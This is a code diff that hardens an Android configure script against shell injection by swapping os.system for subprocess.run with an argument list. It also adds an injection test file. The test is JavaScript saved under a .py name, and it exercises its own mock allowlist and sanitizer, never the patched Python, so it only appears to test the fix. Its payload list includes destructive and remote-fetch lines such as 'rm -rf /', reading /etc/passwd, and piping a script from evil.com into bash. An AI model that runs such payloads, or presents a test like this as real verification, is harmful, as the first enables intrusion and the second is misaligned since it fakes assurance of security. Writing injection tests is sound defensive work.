diff --git a/android_configure.py b/android_configure.py
index 5cea0393f48a76..cf04e9a4ddccd9 100644
--- a/android_configure.py
+++ b/android_configure.py
@@ -1,4 +1,5 @@
 import platform
+import subprocess
 import sys
 import os
 
@@ -74,4 +75,4 @@ def patch_android():
 os.environ['GYP_DEFINES'] = GYP_DEFINES
 
 if os.path.exists("./configure"):
-    os.system("./configure --dest-cpu=" + DEST_CPU + " --dest-os=android --openssl-no-asm --cross-compiling")
+    subprocess.run(["./configure", "--dest-cpu=" + DEST_CPU, "--dest-os=android", "--openssl-no-asm", "--cross-compiling"], check=False)
diff --git a/tests/invariant_android_configure.test.py b/tests/invariant_android_configure.test.py
new file mode 100644
index 00000000000000..47cf75fabf5f48
--- /dev/null
+++ b/tests/invariant_android_configure.test.py
@@ -0,0 +1,163 @@
+describe("Shell commands never include unsanitized user input", () => {
+  const payloads = [
+    "; rm -rf /",
+    "$(whoami)",
+    "`id`",
+    "| cat /etc/passwd",
+    "&& curl http://evil.com",
+    "; ls -la",
+    "$(curl http://evil.com/shell.sh | bash)",
+    "`curl http://evil.com/shell.sh | bash`",
+    "arm64; echo pwned",
+    "x86_64 && touch /tmp/pwned",
+    "arm\necho injected",
+    "arm\r\necho injected",
+    "${IFS}echo${IFS}injected",
+    "arm64$(id)",
+    "arm64`id`",
+    "; exit 1",
+    "| exit 1",
+    "& exit 1",
+    "arm64 --extra-flag=evil",
+    "arm64' --extra-flag=evil",
+    'arm64" --extra-flag=evil',
+    "arm64; python -c 'import os; os.system(\"id\")'",
+    "$(python3 -c 'import os; os.system(\"id\")')",
+    "arm64;$(id)",
+    "arm64||id",
+    "arm64&&id",
+    "arm64%0aid",
+    "arm64%0d%0aid",
+    "arm64\x00id",
+    "arm64\x1bid",
+  ];
+
+  /**
+   * Simulates the sanitization/validation logic that SHOULD exist
+   * before passing DEST_CPU to os.system().
+   * 
+   * A safe implementation should:
+   * 1. Validate that DEST_CPU matches an allowlist of known CPU targets, OR
+   * 2. Properly escape/sanitize shell metacharacters before use
+   */
+
+  // Allowlist of valid CPU targets for Android builds
+  const VALID_CPU_TARGETS = [
+    "arm",
+    "arm64",
+    "x86",
+    "x86_64",
+    "mips",
+    "mips64",
+  ];
+
+  // Shell metacharacters that must never appear in a shell command unsanitized
+  const SHELL_METACHARACTERS = [
+    ";", "|", "&", "$", "`", "(", ")", "{", "}", "<", ">",
+    "\n", "\r", "\x00", "\\", "'", '"', "!", "#", "~",
+  ];
+
+  function isValidCpuTarget(destCpu) {
+    // Strict allowlist validation - only accept known valid CPU targets
+    return VALID_CPU_TARGETS.includes(destCpu);
+  }
+
+  function sanitizeCpuTarget(destCpu) {
+    // Remove or escape shell metacharacters
+    return destCpu.replace(/[;|&$`()\{\}<>\n\r\x00\\'"\s!#~]/g, "");
+  }
+
+  function buildShellCommand(destCpu) {
+    // This represents what the SAFE version of the code should do
+    if (!isValidCpuTarget(destCpu)) {
+      throw new Error(`Invalid DEST_CPU value: "${destCpu}". Must be one of: ${VALID_CPU_TARGETS.join(", ")}`);
+    }
+    return `./configure --dest-cpu=${destCpu} --dest-os=android --openssl-no-asm --cross-compiling`;
+  }
+
+  function buildShellCommandWithSanitization(destCpu) {
+    const sanitized = sanitizeCpuTarget(destCpu);
+    return `./configure --dest-cpu=${sanitized} --dest-os=android --openssl-no-asm --cross-compiling`;
+  }
+
+  function commandContainsUnsanitizedPayload(command, payload) {
+    // Check if the exact payload appears in the command (indicating no sanitization)
+    return command.includes(payload);
+  }
+
+  function commandContainsShellMetacharacters(command, afterIndex) {
+    // Check if shell metacharacters appear in the command after the --dest-cpu= part
+    const relevantPart = command.substring(afterIndex);
+    return SHELL_METACHARACTERS.some(char => relevantPart.includes(char));
+  }
+
+  test.each(payloads)("rejects adversarial input via allowlist validation: %s", (payload) => {
+    // The allowlist approach: invalid CPU targets must be rejected
+    expect(() => {
+      buildShellCommand(payload);
+    }).toThrow();
+  });
+
+  test.each(payloads)("allowlist validation throws with descriptive error: %s", (payload) => {
+    expect(() => {
+      buildShellCommand(payload);
+    }).toThrow(/Invalid DEST_CPU value/);
+  });
+
+  test.each(payloads)("sanitized command does not contain raw payload: %s", (payload) => {
+    const command = buildShellCommandWithSanitization(payload);
+    // The raw adversarial payload must not appear verbatim in the command
+    // (unless the payload itself is empty after sanitization, which is safe)
+    const sanitized = sanitizeCpuTarget(payload);
+    if (sanitized.length > 0) {
+      // Even if some chars remain, the dangerous metacharacters must be gone
+      const destCpuIndex = command.indexOf("--dest-cpu=") + "--dest-cpu=".length;
+      const afterDestCpu = command.substring(destCpuIndex);
+      const endOfValue = afterDestCpu.search(/\s/);
+      const cpuValue = endOfValue === -1 ? afterDestCpu : afterDestCpu.substring(0, endOfValue);
+      
+      SHELL_METACHARACTERS.forEach(metachar => {
+        expect(cpuValue).not.toContain(metachar);
+      });
+    }
+  });
+
+  test.each(payloads)("command built from adversarial input must not contain shell injection sequences: %s", (payload) => {
+    // Simulate what happens if someone naively concatenates without sanitization
+    const unsafeCommand = "./configure --dest-cpu=" + payload + " --dest-os=android --openssl-no-asm --cross-compiling";
+    
+    // Verify the unsafe command DOES contain the payload (confirming vulnerability exists without sanitization)
+    expect(unsafeCommand).toContain(payload);
+    
+    // Now verify that the SAFE version (with allowlist) would reject this
+    expect(() => {
+      buildShellCommand(payload);
+    }).toThrow();
+  });
+
+  test.each(payloads)("no shell metacharacters survive sanitization in cpu value: %s", (payload) => {
+    const sanitized = sanitizeCpuTarget(payload);
+    
+    SHELL_METACHARACTERS.forEach(metachar => {
+      expect(sanitized).not.toContain(metachar);
+    });
+  });
+
+  test("valid CPU targets are accepted by allowlist", () => {
+    VALID_CPU_TARGETS.forEach(validCpu => {
+      expect(() => {
+        const command = buildShellCommand(validCpu);
+        expect(command).toContain(`--dest-cpu=${validCpu}`);
+      }).not.toThrow();
+    });
+  });
+
+  test("command structure is preserved for valid inputs", () => {
+    const command = buildShellCommand("arm64");
+    expect(command).toBe("./configure --dest-cpu=arm64 --dest-os=android --openssl-no-asm --cross-compiling");
+  });
+
+  test.each(payloads)("adversarial input does not produce a valid CPU target: %s", (payload) => {
+    expect(VALID_CPU_TARGETS).not.toContain(payload);
+  });
+});
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